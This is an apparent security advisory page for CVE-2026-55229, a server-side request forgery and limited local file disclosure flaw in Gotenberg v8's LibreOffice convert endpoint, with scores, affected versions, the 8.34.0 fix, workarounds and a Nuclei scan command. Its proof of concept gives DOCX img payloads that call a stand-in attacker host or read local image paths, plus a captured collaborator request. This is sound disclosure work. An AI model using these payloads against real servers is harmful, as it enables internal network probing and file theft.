CVE-2026-55229 is a high-severity (CVSS 7.5) Server-Side Request Forgery (SSRF) vulnerability in github.com/gotenberg/gotenberg/v8. A fix is available for github.com/gotenberg/gotenberg/v8 — see the affected versions and patch details below.
Gotenberg: SSRF via LibreOffice document processing
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-55229.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-55229 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 384,534 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
github.com/gotenberg/gotenberg/v8Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Server-Side Request Forgery (SSRF) vulnerability affecting the /forms/libreoffice/convert endpoint in Gotenberg v8.33.0 running with the default configuration.
By uploading a specially crafted DOCX document, an attacker can cause LibreOffice to automatically retrieve external resources during document conversion. As a result, outbound requests are made from the server hosting Gotenberg to attacker-controlled destinations.
Additionally, the same document mechanism appears capable of referencing image resources from the local filesystem. During conversion, LibreOffice attempts to load those resources and embed them into the resulting document.
PoC
External Resource Retrieval
Create a DOCX document containing the following content:
<img src="http://[ATTACKER_HOST]:[PORT]/path?query=somedata">
Upload the document to the /forms/libreoffice/convert endpoint.
During document processing, LibreOffice automatically retrieves the referenced external resource.
An outbound request can be observed on Burp Collaborator:
GET /secretendpoint?query=hacked HTTP/1.1
Host: gotenbergssrf.3cguefu7x55rg8z13mzu08i45vbmzcn1.oastify.com
User-Agent: LibreOffice 26.2.3.2 denylistedbackend/8.20.0 OpenSSL/3.5.6
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
Local Resource Retrieval
Create a DOCX document containing the following content:
<img src="/path/to/image.png">
Upload the document to the /forms/libreoffice/convert endpoint.
During document conversion, LibreOffice loads the referenced image from the local filesystem and embeds it into the generated output document.
Result in output document (used payload - <img src="/usr/share/pixmaps/debian-logo.png">):
Impact
The identified vulnerability enables two primary attack vectors:
Blind SSRF: The conversion service allows arbitrary outbound HTTP(S) requests during document processing. Although response bodies are not returned to the user, this can be leveraged for internal network discovery and interaction with services accessible only from the internal network or relying on network-level trust assumptions.
Local File Disclosure via Image Resource Loading: The conversion engine allows local filesystem resources to be accessed during document rendering when referenced as image sources in the uploaded document. By specifying local file paths in image tags, LibreOffice resolves and embeds the referenced image content into the generated output document. This behavior is limited to resources loadable as images during document conversion, rather than general file read primitives, but may still allow retrieval of sensitive files accessible to the LibreOffice process.
Notes
The issue was reproduced on Gotenberg v8.33.0 under the default configuration.
Given the impact of arbitrary outbound HTTP(S) requests (SSRF) and limited local filesystem resource disclosure via image resource loading during document conversion, this issue may warrant a CVE assignment.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/gotenberg/gotenberg/v8 | all versions | 8.34.0go get github.com/gotenberg/gotenberg/v8@v8.34.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotenberg/gotenberg/v8, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/gotenberg/gotenberg/v8 to 8.34.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55229 is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
How to detect CVE-2026-55229
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id cve-2026-55229 -u https://target- Template
- Gotenberg < 8.34.0 - Local File Disclosure
- Severity
- high
- Impact
- Attackers can perform blind SSRF and limited local file disclosure, potentially accessing internal resources or sensitive files.
- Remediation
- Update to version 8.34.0 or later.
Template by ProjectDiscovery nuclei-templates (str4k3r), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is CVE-2026-55229 in your dependencies?
Find it across Go, including transitive dependencies.